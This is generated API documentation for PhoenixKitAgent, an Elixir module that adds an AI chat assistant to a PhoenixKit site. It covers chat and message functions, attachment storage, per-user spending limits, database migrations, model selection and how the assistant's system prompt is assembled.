          @type tool_summary() :: %{
  name: String.t() | nil,
  outcome: String.t() | nil,
  count: non_neg_integer() | nil,
  truncated: boolean()
}


      


What a client learns of a tool call's result (see the moduledoc).

  


        

      

      
        Functions


        


  
    
      
    
    
      add_message(session_ref, conversation_uuid, attrs, opts)



        
          
        

    

  


  

      

          @spec add_message(session_ref(), term(), map(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Message.t()}
  | {:error, refusal() | Ecto.Changeset.t()}


      


Adds the user's text to their chat, as a user message: only content
(:content or "content", not blank, and no longer than
agent_history_chars, as a turn takes it) is taken from attrs, never a role,
tool fields, tokens or cost (see "Writing" in the moduledoc). The chat is
updated in the same transaction: the message count, last_message_at and —
when the chat has no title yet — the title, the first 60 characters of the
text. After the commit the chat's topic hears {:agent_message_added, conversation_uuid, message_uuid}.

  



  
    
      
    
    
      archive_conversation(session_ref, conversation_uuid, opts)



        
          
        

    

  


  

      

          @spec archive_conversation(session_ref(), term(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Conversation.t()}
  | {:error, refusal() | Ecto.Changeset.t()}


      


Archives a chat: it leaves the list, nothing is deleted.

  



  
    
      
    
    
      authorize_session(session_ref, opts)



        
          
        

    

  


  

      

          @spec authorize_session(session_ref(), keyword()) ::
  {:ok, String.t()} | {:error, refusal()}


      


Checks 1-3 of the moduledoc for a session, without a chat: {:ok, user_uuid} when the session may use the assistant now.

  



  
    
      
    
    
      create_conversation(session_ref, attrs, opts)



        
          
        

    

  


  

      

          @spec create_conversation(session_ref(), map(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Conversation.t()}
  | {:error, refusal() | Ecto.Changeset.t()}


      


Creates an empty active chat for the session's user. attrs may carry a
:title; the owner and status are never taken from it.

  



  
    
      
    
    
      delete_conversation(session_ref, conversation_uuid, opts)



        
          
        

    

  


  

      

          @spec delete_conversation(session_ref(), term(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Conversation.t()}
  | {:error, refusal() | Ecto.Changeset.t()}


      


Soft-deletes a chat: its row and messages stay, but no function here sees it
any more.

  



  
    
      
    
    
      get_conversation(session_ref, conversation_uuid, opts)



        
          
        

    

  


  

      

          @spec get_conversation(session_ref(), term(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Conversation.t()} | {:error, refusal()}


      


The user's chat with all its messages, oldest first, as a client sees them
(see "Reading" in the moduledoc).

  



  
    
      
    
    
      get_message(session_ref, conversation_uuid, message_uuid, opts)



        
          
        

    

  


  

      

          @spec get_message(session_ref(), term(), term(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Message.t()} | {:error, refusal()}


      


One message of the user's chat, as a client sees it (see "Reading" in the
moduledoc) — what a listener of {:agent_message_added, conversation_uuid, message_uuid} reads. A message of another chat, or none, is
{:error, :not_found}.

  



  
    
      
    
    
      list_conversations(session_ref, opts)



        
          
        

    

  


  

      

          @spec list_conversations(session_ref(), keyword()) ::
  {:ok,
   %{
     conversations: [PhoenixKitAgent.Schemas.Conversation.t()],
     next_cursor: cursor() | nil
   }}
  | {:error, refusal() | :invalid_cursor}


      


The user's active chats, newest last_message_at first, one page at a time.
Options (besides impersonated:): :limit (default 20, at most 50) and
:cursor, the next_cursor of the previous page. Returns the chats and the
cursor of the next page (nil on the last one). Archived and deleted chats
are not listed. Messages are not loaded.

  



  
    
      
    
    
      list_messages(session_ref, conversation_uuid, opts)



        
          
        

    

  


  

      

          @spec list_messages(session_ref(), term(), keyword()) ::
  {:ok, [PhoenixKitAgent.Schemas.Message.t()]}
  | {:error, refusal() | :invalid_cursor}


      


The messages of the user's chat, oldest first, as a client sees them (see
"Reading" in the moduledoc).
Options (besides impersonated:): :after — the uuid of a message of this
chat; only the messages after it come; :limit — default 50, at most 200.
The next page starts after the last message of this one. From the other
end: latest: true — the last limit messages of the chat; :before — the
uuid of a message of this chat, the limit messages just before it (the
page before starts before the first message of this one). Every page is
oldest first. A cursor that is not a message of this chat, or :after with
:before / :latest, is {:error, :invalid_cursor}.

  



  
    
      
    
    
      rename_conversation(session_ref, conversation_uuid, title, opts)



        
          
        

    

  


  

      

          @spec rename_conversation(session_ref(), term(), term(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Conversation.t()}
  | {:error, refusal() | Ecto.Changeset.t()}


      


Renames a chat. A blank title or one over 200 characters is an {:error, changeset}.

  



  
    
      
    
    
      subscribe(session_ref, conversation_uuid, opts)



        
          
        

    

  


  

      

          @spec subscribe(session_ref(), term(), keyword()) :: :ok | {:error, refusal()}


      


Subscribes the calling process to the chat's topic, but only after the
checks of the moduledoc — a chat of someone else is {:error, :not_found}
and nothing is subscribed.

  



  
    
      
    
    
      topic(conversation_uuid)



        
          
        

    

  


  

      

          @spec topic(String.t()) :: String.t()


      


The PubSub topic of a chat's events.

  



  
    
      
    
    
      unsubscribe(conversation_uuid)



        
          
        

    

  


  

      

          @spec unsubscribe(String.t()) :: :ok


      


Unsubscribes the calling process from the chat's topic; no checks are needed.

  


        

      


  

    
PhoenixKitAgent.Gettext 
    



      
Gettext backend of the agent module's admin pages and permission labels.

      


      
        Summary


  
    Functions
  


    
      
        handle_missing_bindings(exception, incomplete)

      


        Callback implementation for Gettext.Backend.handle_missing_bindings/2.



    


    
      
        handle_missing_plural_translation(locale, domain, msgctxt, msgid, msgid_plural, n, bindings)

      


        Callback implementation for Gettext.Backend.handle_missing_plural_translation/7.



    


    
      
        handle_missing_translation(locale, domain, msgctxt, msgid, bindings)

      


        Callback implementation for Gettext.Backend.handle_missing_translation/5.



    





      


      
        Functions


        


  
    
      
    
    
      handle_missing_bindings(exception, incomplete)



        
          
        

    

  


  

Callback implementation for Gettext.Backend.handle_missing_bindings/2.

  



  
    
      
    
    
      handle_missing_plural_translation(locale, domain, msgctxt, msgid, msgid_plural, n, bindings)



        
          
        

    

  


  

Callback implementation for Gettext.Backend.handle_missing_plural_translation/7.

  



  
    
      
    
    
      handle_missing_translation(locale, domain, msgctxt, msgid, bindings)



        
          
        

    

  


  

Callback implementation for Gettext.Backend.handle_missing_translation/5.

  


        

      


  

    
PhoenixKitAgent.Library 
    



      
The module's own Storage library, where attachment bytes are kept.
It is a hidden system library (Libraries.create_system_library/2 with
hidden: true): the site does not list it, not in Media's switcher nor in the
media pickers, its files get only expiring URLs, and media.view_all opens
none of them — only their uploader and an Owner/Admin may read one (an
Owner/Admin reads any file of Storage by design). It is found again by its
fixed slug and created on first use.
Inside it every user has a folder named by their user_uuid, at the library
root, created on demand. The folder only keeps things in order: Storage
rights are per file, the protection is the hidden library and the module
being the only way to the bytes.

      


      
        Summary


  
    Functions
  


    
      
        ensure_library()

      


        The module's library, created when it does not exist yet. Two callers racing
to create it both get the one library. {:error, changeset} when the slug
or the name is taken by a library the module did not create.



    


    
      
        ensure_user_folder(user_uuid)

      


        The user's folder in the module's library, created (with the library) when it
does not exist yet.



    


    
      
        library()

      


        The module's library, or nil while it has not been created.



    


    
      
        slug()

      


        The fixed slug the module finds its library by.



    


    
      
        user_folder(user_uuid)

      


        The user's folder in the module's library, or nil while there is none.



    





      


      
        Functions


        


  
    
      
    
    
      ensure_library()



        
          
        

    

  


  

      

          @spec ensure_library() ::
  {:ok, PhoenixKit.Modules.Storage.Library.t()} | {:error, Ecto.Changeset.t()}


      


The module's library, created when it does not exist yet. Two callers racing
to create it both get the one library. {:error, changeset} when the slug
or the name is taken by a library the module did not create.

  



  
    
      
    
    
      ensure_user_folder(user_uuid)



        
          
        

    

  


  

      

          @spec ensure_user_folder(String.t()) ::
  {:ok, PhoenixKit.Modules.Storage.Folder.t()}
  | {:error, :invalid_user_uuid | Ecto.Changeset.t()}


      


The user's folder in the module's library, created (with the library) when it
does not exist yet.

  



  
    
      
    
    
      library()



        
          
        

    

  


  

      

          @spec library() :: PhoenixKit.Modules.Storage.Library.t() | nil


      


The module's library, or nil while it has not been created.

  



  
    
      
    
    
      slug()



        
          
        

    

  


  

      

          @spec slug() :: String.t()


      


The fixed slug the module finds its library by.

  



  
    
      
    
    
      user_folder(user_uuid)



        
          
        

    

  


  

      

          @spec user_folder(String.t()) :: PhoenixKit.Modules.Storage.Folder.t() | nil


      


The user's folder in the module's library, or nil while there is none.

  


        

      


  

    
PhoenixKitAgent.Limits 
    



      
The spending and turn limits of a user (spec §7.3) and who is told when one
is near or reached (spec §7.4).
What is counted
	Money — PhoenixKitAgent.Spend: the user's rows of the AI request
journal whose metadata.source is "agent", so a call that describes
an attachment counts as well as a model call of a turn; every row with
a cost, a failed call's included. Micro-dollars, $1 = 1_000_000.
	Turns — the user's user messages with a turn_ref (one per turn), in
any of their chats.

The windows are the calendar day and month of the site time zone. The
limits in force are PhoenixKitAgent.UserConfig.effective/1's: the
user's own, else the module's. A limit of 0 allows nothing.
The money limits apply only on an endpoint whose calls get what they cost
in the journal (PhoenixKitAgent.Models.reports_cost?/2: a model call of a
turn, or a picture's description on the vision endpoint, where the provider
reports a cost or phoenix_kit_ai has a price for the model): on another,
nothing would be counted, so only the turn limit applies there — the admin
pages say so for the default model. An endpoint that cannot be found keeps
the money limits.
When
check/3 runs before a turn, while the turn holds its locks
(PhoenixKitAgent.Turns), so the previous turn of the user — and every
journal row it wrote — is over by then. A turn that started under its
limits runs to its end, even past them.
Notices
Each is sent once per limit and period: a row of
phoenix_kit_agent_limit_events (user, kind, period, unique) is inserted
first with ON CONFLICT DO NOTHING, and only an insert that went through
sends anything.
	80 % of a limit (check/3) — an in-app notice to the user
(PhoenixKit.Notifications.upsert_inapp/3, key
agent:limit:<kind>:<period>). Event kind warn_80, period key
cost:<period> or turns:<period>, so each of the three limits warns
on its own.
	A limit reached (announce_reached/2) — the in-app notice to the user
(the same key, so an unread warning becomes the new text), and, only
when the user's notify_on_limit is on, a notification of type
"agent_limit" to the watchers (create_many/2, which respects a
watcher who switched that type off). The two have their own events —
the watchers' period key is w:<period>, written only when they are
told — so notify_on_limit switched on later in the period still
tells the watchers of that period, once.

A call refused by the phoenix_kit_ai budget is signalled by
phoenix_kit_ai itself (its limit_reached event, to its watchers and
to those of the task, guard_watchers/1); the turn's notice in the chat
says the budget is used up.
The watchers are agent_limit_watchers (empty: every Owner) and the user's
own notify_user_uuids, without the user, who is told as the user.
Notices name the user by e-mail and the limit with its numbers; nothing of a
chat. A notice that cannot be sent is logged as the class of the failure.

      


      
        Summary


  
    Types
  


    
      
        kind()

      


        A limit of a user.



    


    
      
        status()

      


        A limit as it stands: what was used of it in its period.



    


    
      
        usage()

      


        What a user used today and this month, and the keys of those periods.



    





  
    Functions
  


    
      
        announce_reached(settings, status)

      


        Tells that the user of settings reached a limit (status from
check/3): once per limit and period — the user in the app, and the
watchers when the user's notify_on_limit is on.



    


    
      
        check(settings, endpoint_uuid, opts \\ [])

      


        Whether the user of settings (UserConfig.effective/1) may start a turn
on endpoint_uuid now: :ok, or {:error, {:limit_reached, status}} for
the first limit used up — the month's money, the day's money, the day's
turns. On :ok, a limit at 80 % or more is announced to the user (once per
period). Sends nothing about a limit reached: that is
announce_reached/2.



    


    
      
        guard_watchers(user_uuid)

      


        The watchers the module adds to the AI guard's own for its tasks
(watchers of PhoenixKitAgent.ai_tasks/0, called with the user's uuid
or nil): agent_limit_watchers, plus the user's notify_user_uuids when
their notify_on_limit is on, without the user. An empty
agent_limit_watchers adds nobody: the guard tells its own watchers
(every Owner by default) anyway.



    


    
      
        money_counted?(endpoint_uuid, call \\ :chat)

      


        Whether money counts for a call (:chat or :vision) on
endpoint_uuid (see the moduledoc): an endpoint whose such calls get a
cost (PhoenixKitAgent.Models.reports_cost?/2), or one that cannot be
found.



    


    
      
        usage(user_uuid, now \\ DateTime.utc_now())

      


        What user_uuid used in the day and month of now (see the moduledoc).



    


    
      
        watchers(user_uuid)

      


        Who is told about the user's limits: agent_limit_watchers (empty: every
Owner) and the user's own notify_user_uuids, without the user.



    





      


      
        Types


        


  
    
      
    
    
      kind()



        
          
        

    

  


  

      

          @type kind() :: :daily_cost | :monthly_cost | :daily_turns


      


A limit of a user.

  



  
    
      
    
    
      status()



        
          
        

    

  


  

      

          @type status() :: %{
  kind: kind(),
  used: non_neg_integer(),
  limit: non_neg_integer(),
  period_key: String.t()
}


      


A limit as it stands: what was used of it in its period.

  



  
    
      
    
    
      usage()



        
          
        

    

  


  

      

          @type usage() :: %{
  day_micro_usd: non_neg_integer(),
  month_micro_usd: non_neg_integer(),
  day_turns: non_neg_integer(),
  day_key: String.t(),
  month_key: String.t()
}


      


What a user used today and this month, and the keys of those periods.

  


        

      

      
        Functions


        


  
    
      
    
    
      announce_reached(settings, status)



        
          
        

    

  


  

      

          @spec announce_reached(PhoenixKitAgent.UserConfig.effective(), status()) :: :ok


      


Tells that the user of settings reached a limit (status from
check/3): once per limit and period — the user in the app, and the
watchers when the user's notify_on_limit is on.

  



    

  
    
      
    
    
      check(settings, endpoint_uuid, opts \\ [])



        
          
        

    

  


  

      

          @spec check(PhoenixKitAgent.UserConfig.effective(), String.t() | nil, keyword()) ::
  :ok | {:error, {:limit_reached, status()}}


      


Whether the user of settings (UserConfig.effective/1) may start a turn
on endpoint_uuid now: :ok, or {:error, {:limit_reached, status}} for
the first limit used up — the month's money, the day's money, the day's
turns. On :ok, a limit at 80 % or more is announced to the user (once per
period). Sends nothing about a limit reached: that is
announce_reached/2.
Options: :use — what the call on the endpoint is (:chat, the default,
or :vision, see money_counted?/2); :now.

  



  
    
      
    
    
      guard_watchers(user_uuid)



        
          
        

    

  


  

      

          @spec guard_watchers(String.t() | nil) :: [String.t()]


      


The watchers the module adds to the AI guard's own for its tasks
(watchers of PhoenixKitAgent.ai_tasks/0, called with the user's uuid
or nil): agent_limit_watchers, plus the user's notify_user_uuids when
their notify_on_limit is on, without the user. An empty
agent_limit_watchers adds nobody: the guard tells its own watchers
(every Owner by default) anyway.

  



    

  
    
      
    
    
      money_counted?(endpoint_uuid, call \\ :chat)



        
          
        

    

  


  

      

          @spec money_counted?(String.t() | nil, PhoenixKitAgent.Models.call_kind()) ::
  boolean()


      


Whether money counts for a call (:chat or :vision) on
endpoint_uuid (see the moduledoc): an endpoint whose such calls get a
cost (PhoenixKitAgent.Models.reports_cost?/2), or one that cannot be
found.

  



    

  
    
      
    
    
      usage(user_uuid, now \\ DateTime.utc_now())



        
          
        

    

  


  

      

          @spec usage(String.t(), DateTime.t()) :: usage()


      


What user_uuid used in the day and month of now (see the moduledoc).

  



  
    
      
    
    
      watchers(user_uuid)



        
          
        

    

  


  

      

          @spec watchers(String.t()) :: [String.t()]


      


Who is told about the user's limits: agent_limit_watchers (empty: every
Owner) and the user's own notify_user_uuids, without the user.

  


        

      


  

    
PhoenixKitAgent.Migrations 
    



      
Module-owned versioned migrations for phoenix_kit_agent — the protocol core's
mix phoenix_kit.update discovers through PhoenixKitAgent.migration_module/0
(current_version/0, migrated_version_runtime/1, up/1, down/1). Same
shape as PhoenixKitDashboards.Migrations: two version readers, up/1
re-reading the version before it changes anything, the SQL kept as data
(up_statements/2, down_statements/2).
Tables (V1)
	phoenix_kit_agent_conversations — a user's chats; the chat list reads
them by (user_uuid, status, last_message_at DESC).
	phoenix_kit_agent_messages — every message of a chat, the tool calls
and their outcomes included; ai_request_uuid links the
phoenix_kit_ai_requests row of a model call.
	phoenix_kit_agent_attachments — files attached to a message; the bytes
live in Storage (file_uuid).
	phoenix_kit_agent_user_settings — one row per user, NULL meaning "the
module default"; also the per-user "turn in flight" lock.
	phoenix_kit_agent_limit_events — one limit notice per user, kind and
period.

V2 — the confirmation of a write (spec §5.2, I6)
	phoenix_kit_agent_messages.tool_outcome also takes expired,
changed and failed (the outcomes of a confirmation card, kept on its
notice);
	assistant_message_uuid — on a tool message, the assistant message
whose tool call it answers (the arguments a confirmation is redeemed
with). No foreign key: both rows are in the same chat and go with it;
	confirmation_uuid — the confirmation core holds the write in
(PhoenixKit.API.Confirm), on the tool message that asks for it and
on the notice that says how it ended; partial index
phoenix_kit_agent_messages_confirmation_uuid_index, through which the
chat panel finds the cards still waiting. No foreign key: core deletes
its rows on its own schedule.

down/1 to V1 drops the two columns and the index, and clears an outcome
V1 cannot hold (the notice stays, without it).
Deleting a user deletes their rows of every table (ON DELETE CASCADE); a
deleted phoenix_kit_ai_requests row, AI endpoint or Storage file leaves the
link NULL and never blocks the delete. Money is in micro-dollars
(*_micro_usd, $1 = 1_000_000); the AI journal keeps dollars
(phoenix_kit_ai_requests.cost), turned into micro-dollars by
PhoenixKitAgent.Config.cost_to_micro/1.
Version marker
COMMENT ON TABLE phoenix_kit_agent_conversations IS 'pk_agent_schema:<N>'.
No table, or one without a pk_agent_schema: comment, reads as version 0.
Idempotency and rollback
Every statement guards itself (IF NOT EXISTS / IF EXISTS), so the chain
can be re-run. These tables belong to this module alone: down/1 to version
0 drops them with every chat, message, attachment link and per-user
setting in them (the Storage files of the attachments stay). Back up the
database first.
Ordering
The foreign keys reach core's phoenix_kit_users, phoenix_kit_files,
phoenix_kit_ai_endpoints and phoenix_kit_ai_requests, so this chain runs
after core's (mix phoenix_kit.update generates the module migrations after
core's own).

      


      
        Summary


  
    Functions
  


    
      
        current_version()

      


        The version this code expects the schema to be at.



    


    
      
        down(opts \\ [])

      


        Rolls back to opts[:version] (default 0). Migration context only. To 0 it
drops every table of the module — see the moduledoc.



    


    
      
        down_statements(prefix \\ "public", target \\ 0)

      


        The SQL down/1 runs, as data. To 0 it drops every table of the module;
to a version still in the chain it undoes every later version (each
statement guards itself) and re-stamps the marker.



    


    
      
        migrated_version(opts \\ [])

      


        The installed version, read inside a migration through Ecto.Migration's
repo(). No rescue: a version that cannot be read aborts the migration.



    


    
      
        migrated_version_runtime(opts \\ [])

      


        The installed version, read outside a migration (what mix phoenix_kit.update
calls) through PhoenixKit's configured repo. An invalid prefix raises; a
database that cannot be reached reads as 0, which only costs a redundant
migration file because up/1 re-reads the version before it changes
anything.



    


    
      
        up(opts \\ [])

      


        Applies the chain up to opts[:version] (default current_version/0).
Migration context only. Re-reads the installed version first: a database
already at (or past) the target is left alone.



    


    
      
        up_statements(prefix \\ "public", target \\ 2)

      


        The SQL up/1 runs, as data. target is how far to go (default
current_version/0); 0 is nothing. Every version from V1 on is in it:
each statement guards itself, so the versions already applied change
nothing.



    


    
      
        version_table()

      


        The table carrying the pk_agent_schema:<N> marker.



    





      


      
        Functions


        


  
    
      
    
    
      current_version()



        
          
        

    

  


  

      

          @spec current_version() :: pos_integer()


      


The version this code expects the schema to be at.

  



    

  
    
      
    
    
      down(opts \\ [])



        
          
        

    

  


  

      

          @spec down(keyword() | map()) :: :ok


      


Rolls back to opts[:version] (default 0). Migration context only. To 0 it
drops every table of the module — see the moduledoc.

  



    

    

  
    
      
    
    
      down_statements(prefix \\ "public", target \\ 0)



        
          
        

    

  


  

      

          @spec down_statements(String.t(), non_neg_integer()) :: [String.t()]


      


The SQL down/1 runs, as data. To 0 it drops every table of the module;
to a version still in the chain it undoes every later version (each
statement guards itself) and re-stamps the marker.

  



    

  
    
      
    
    
      migrated_version(opts \\ [])



        
          
        

    

  


  

      

          @spec migrated_version(keyword() | map()) :: non_neg_integer()


      


The installed version, read inside a migration through Ecto.Migration's
repo(). No rescue: a version that cannot be read aborts the migration.

  



    

  
    
      
    
    
      migrated_version_runtime(opts \\ [])



        
          
        

    

  


  

      

          @spec migrated_version_runtime(keyword() | map()) :: non_neg_integer()


      


The installed version, read outside a migration (what mix phoenix_kit.update
calls) through PhoenixKit's configured repo. An invalid prefix raises; a
database that cannot be reached reads as 0, which only costs a redundant
migration file because up/1 re-reads the version before it changes
anything.

  



    

  
    
      
    
    
      up(opts \\ [])



        
          
        

    

  


  

      

          @spec up(keyword() | map()) :: :ok


      


Applies the chain up to opts[:version] (default current_version/0).
Migration context only. Re-reads the installed version first: a database
already at (or past) the target is left alone.

  



    

    

  
    
      
    
    
      up_statements(prefix \\ "public", target \\ 2)



        
          
        

    

  


  

      

          @spec up_statements(String.t(), non_neg_integer()) :: [String.t()]


      


The SQL up/1 runs, as data. target is how far to go (default
current_version/0); 0 is nothing. Every version from V1 on is in it:
each statement guards itself, so the versions already applied change
nothing.

  



  
    
      
    
    
      version_table()



        
          
        

    

  


  

      

          @spec version_table() :: String.t()


      


The table carrying the pk_agent_schema:<N> marker.

  


        

      


  

    
PhoenixKitAgent.Models 
    



      
The choice of a model for a user (spec §7.2). The module has no models of its
own: the choice is among the endpoints of phoenix_kit_ai (an endpoint is a
connection plus a model), and only endpoints that can chat.
list_endpoints/1 is the choice; tools_support/1 says, per endpoint,
whether its model takes tools — the assistant is useless on one that does
not, so the screens mark those. image_input_support/1 is the same question
about images in; the attachments (spec §9) use it to decide whether a
picture goes to the model as pixels or as a description. Both read
PhoenixKitAI.Capabilities.for_endpoint/1 — the provider's catalogue as
phoenix_kit_ai keeps it, with what an admin declared on the endpoint where
the catalogue says nothing — from its cache only, never the network:
	:supported / :unsupported — the model is known to take it, or not;
	:unknown — nobody knows: a provider without a catalogue whose
endpoint declares nothing, a model the catalogue does not list, a
catalogue not read yet.

Only :supported lets pixels go to a model (image_input/1).
reports_cost?/2 says whether a call on an endpoint gets what it cost in
the AI journal — the money limits count only such calls (spec §7.3).

      


      
        Summary


  
    Types
  


    
      
        call_kind()

      


        What a call on an endpoint is: a model call of a turn, or a picture
described by the vision model.



    


    
      
        summary()

      


        What a page shows of an endpoint: never the endpoint itself, which carries
its API key. reports_cost? is reports_cost?/2 of a chat call on it.



    


    
      
        support()

      


        Whether a model takes tools.



    





  
    Functions
  


    
      
        image_input(endpoint_uuid)

      


        image_input_support/1 for the one endpoint with this uuid, read again from
the database. :unknown for no endpoint (nil) and for one that does not
exist.



    


    
      
        image_input_support(endpoints)

      


        Whether each endpoint's model takes images as input (see the moduledoc):
%{endpoint_uuid => support}. A model that can only produce images does not.



    


    
      
        image_input_support_of(uuids)

      


        image_input_support/1 for the endpoints with these uuids, read again from
the database (one that is gone is left out).



    


    
      
        list_endpoints(opts \\ [])

      


        The endpoints a user can be given: enabled ones that chat (not speech,
embedding or image models), by name. include: uuid (or a list of uuids)
adds that endpoint even if it can no longer be picked — the one a user has
now, so that saving the form does not drop it unnoticed.



    


    
      
        reports_cost?(endpoint, call \\ :chat)

      


        Whether a call on the endpoint gets what it cost in the AI journal, as
phoenix_kit_ai prices it. On an endpoint where it does not, money is not
counted and only the turn limit applies.



    


    
      
        summaries(uuids)

      


        The endpoints with these uuids as summary/0: %{uuid => summary}.



    


    
      
        summary(endpoint)

      


        An endpoint as a page keeps it (summary/0).



    


    
      
        tools_support(endpoints)

      


        Whether each endpoint's model takes tools (see the moduledoc): %{endpoint_uuid => support}.



    


    
      
        tools_support_of(uuids)

      


        tools_support/1 for the endpoints with these uuids, read again from the
database (one that is gone is left out).



    





      


      
        Types


        


  
    
      
    
    
      call_kind()



        
          
        

    

  


  

      

          @type call_kind() :: :chat | :vision


      


What a call on an endpoint is: a model call of a turn, or a picture
described by the vision model.

  



  
    
      
    
    
      summary()



        
          
        

    

  


  

      

          @type summary() :: %{
  uuid: String.t(),
  name: String.t(),
  model: String.t(),
  provider: String.t(),
  reports_cost?: boolean()
}


      


What a page shows of an endpoint: never the endpoint itself, which carries
its API key. reports_cost? is reports_cost?/2 of a chat call on it.

  



  
    
      
    
    
      support()



        
          
        

    

  


  

      

          @type support() :: :supported | :unsupported | :unknown


      


Whether a model takes tools.

  


        

      

      
        Functions


        


  
    
      
    
    
      image_input(endpoint_uuid)



        
          
        

    

  


  

      

          @spec image_input(String.t() | nil) :: support()


      


image_input_support/1 for the one endpoint with this uuid, read again from
the database. :unknown for no endpoint (nil) and for one that does not
exist.

  



  
    
      
    
    
      image_input_support(endpoints)



        
          
        

    

  


  

      

          @spec image_input_support([PhoenixKitAI.Endpoint.t()]) :: %{
  required(String.t()) => support()
}


      


Whether each endpoint's model takes images as input (see the moduledoc):
%{endpoint_uuid => support}. A model that can only produce images does not.

  



  
    
      
    
    
      image_input_support_of(uuids)



        
          
        

    

  


  

      

          @spec image_input_support_of([String.t()]) :: %{required(String.t()) => support()}


      


image_input_support/1 for the endpoints with these uuids, read again from
the database (one that is gone is left out).

  



    

  
    
      
    
    
      list_endpoints(opts \\ [])



        
          
        

    

  


  

      

          @spec list_endpoints(keyword()) :: [PhoenixKitAI.Endpoint.t()]


      


The endpoints a user can be given: enabled ones that chat (not speech,
embedding or image models), by name. include: uuid (or a list of uuids)
adds that endpoint even if it can no longer be picked — the one a user has
now, so that saving the form does not drop it unnoticed.

  



    

  
    
      
    
    
      reports_cost?(endpoint, call \\ :chat)



        
          
        

    

  


  

      

          @spec reports_cost?(PhoenixKitAI.Endpoint.t() | summary() | nil, call_kind()) ::
  boolean()


      


Whether a call on the endpoint gets what it cost in the AI journal, as
phoenix_kit_ai prices it. On an endpoint where it does not, money is not
counted and only the turn limit applies.
	:chat (a model call of a turn) — PhoenixKitAI.reports_cost?/1: the
provider reports the cost (OpenRouter), or the operator's catalogue, a
manual price on the endpoint or Anthropic's list price prices its model.
	:vision (a picture described, PhoenixKitAI.describe_image/3) —
PhoenixKitAI.TaskLimits.money_counted?/2 with :vision, which is the
chat rule: phoenix_kit_ai prices a description like a chat call (the
provider's cost, a catalogue, a manual or a list price).

A summary/0 carries the answer for :chat.

  



  
    
      
    
    
      summaries(uuids)



        
          
        

    

  


  

      

          @spec summaries([String.t()]) :: %{required(String.t()) => summary()}


      


The endpoints with these uuids as summary/0: %{uuid => summary}.

  



  
    
      
    
    
      summary(endpoint)



        
          
        

    

  


  

      

          @spec summary(PhoenixKitAI.Endpoint.t()) :: summary()


      


An endpoint as a page keeps it (summary/0).

  



  
    
      
    
    
      tools_support(endpoints)



        
          
        

    

  


  

      

          @spec tools_support([PhoenixKitAI.Endpoint.t()]) :: %{
  required(String.t()) => support()
}


      


Whether each endpoint's model takes tools (see the moduledoc): %{endpoint_uuid => support}.

  



  
    
      
    
    
      tools_support_of(uuids)



        
          
        

    

  


  

      

          @spec tools_support_of([String.t()]) :: %{required(String.t()) => support()}


      


tools_support/1 for the endpoints with these uuids, read again from the
database (one that is gone is left out).

  


        

      


  

    
PhoenixKitAgent.Prompt 
    



      
The system prompt of a turn (spec §7.1), put together in the order of
priority, each part separated by a blank line:
	the module's prompt (agent_system_prompt, PhoenixKitAgent.Config),
then the module's own rule for writes, always there: a tool that
changes data only proposes the change, which waits for the user's
confirmation in the chat, and the model never says it is done before a
confirmation message says so, nor asks again for a change still
waiting (PhoenixKitAgent.Confirmations); then, when the AI guard
has the agent.chat task flag off-purpose requests
(PhoenixKitAI.Guard.self_flag?/1), the guard's instruction
(PhoenixKitAI.Guard.self_flag_instruction/1) and how to flag: the
marker ⟦off_purpose: <reason>⟧ at the very end of the answer, which
the turn cuts off (PhoenixKitAgent.Turns.Runner). It stands above
everything the admin and the user write, so their instructions cannot
undo it, and above the date, so the prompt's cached prefix holds;
	the host's addendum — config :phoenix_kit_agent, prompt_addendum: {Mod, :fun}: what an order is, the statuses, the language of the
answer. Mod.fun(ctx) is called with %{user_uuid:, locale:} when it
is exported with one argument, Mod.fun() otherwise; the result is a
string or nil. An exception, an exit, a result that is not a string
or a function that does not exist skips the addendum with a warning
that names the reason only — never the content;
	the admin's prompt for this user (UserSettings.system_prompt);
	the user's personal instructions (personal_instructions), under a line
that says they rank below the parts above and never override them;
	the context of the session: the user's name (never the e-mail), the
role the session acts as, the locale, the date in the site time zone
(not the time of day: the system message opens every request, and a
prefix that changes by the minute defeats the providers' prompt
caching), the page's path when the host passed it to
PhoenixKitAgent.Turns.start/6, and what the host says of that page
(below).

The page and the locale come from a browser, so they are not trusted: a
value with a control or line-separator character, or one that is not shaped
like a path / a locale, is left out whole; a long one is cut. The page is
reduced to its path (no query, no fragment: those may hold what the user
typed into a search).
The host's page context
config :phoenix_kit_agent, page_context: {Mod, :fun} lets the host say
what the page is — the number of the order open there, say (spec §7.1 point
5). With a page path, Mod.fun(path, scope) is called: path is the
page's path as above, scope the scope of the user's browser session
(PhoenixKit.Users.Auth.SessionRef.scope_for_session/2: the role the
session acts as), not one built from the user alone. The host decides what
to tell, and tells only what that scope may see. The result is a string —
put on one line (control and line-separator characters become spaces),
trimmed and cut to 200 characters — or nil. An exception, an exit, a
result that is not a string (or not valid UTF-8) or a function that does not
exist skips it with a warning that names the reason only — never the path
or the content. No hook, or no page: the context has the path only.
The hook is called as the turn starts, in the process that starts it (the
chat panel's), while the turn holds its locks, and with no timeout of its
own: keep it fast — one indexed lookup, not a report. Until it returns, the
turn has not started and the chat and the user stay busy.

      


      
        Summary


  
    Types
  


    
      
        ctx()

      


    


    
      
        page()

      


        The page the user is on, as the browser says it is: a path.



    





  
    Functions
  


    
      
        build(ctx)

      


        The system prompt for ctx (see the moduledoc); never empty.



    





      


      
        Types


        


  
    
      
    
    
      ctx()



        
          
        

    

  


  

      

          @type ctx() :: %{
  :user_uuid => String.t(),
  :scope => PhoenixKit.Users.Auth.Scope.t(),
  optional(:settings) => PhoenixKitAgent.UserConfig.effective(),
  optional(:locale) => String.t() | nil,
  optional(:page) => page() | nil,
  optional(:now) => DateTime.t()
}


      



  



  
    
      
    
    
      page()



        
          
        

    

  


  

      

          @type page() :: String.t()


      


The page the user is on, as the browser says it is: a path.

  


        

      

      
        Functions


        


  
    
      
    
    
      build(ctx)



        
          
        

    

  


  

      

          @spec build(ctx()) :: String.t()


      


The system prompt for ctx (see the moduledoc); never empty.

  


        

      


  

    
PhoenixKitAgent.Schemas.Attachment 
    



      
A file attached to a message (phoenix_kit_agent_attachments). The bytes live
in Storage, in the module's hidden library (file_uuid); the row keeps what
the model reads: the extracted text of a PDF or a sheet, truncated to a limit.
status goes pending → ready | failed; a failed row keeps a code in
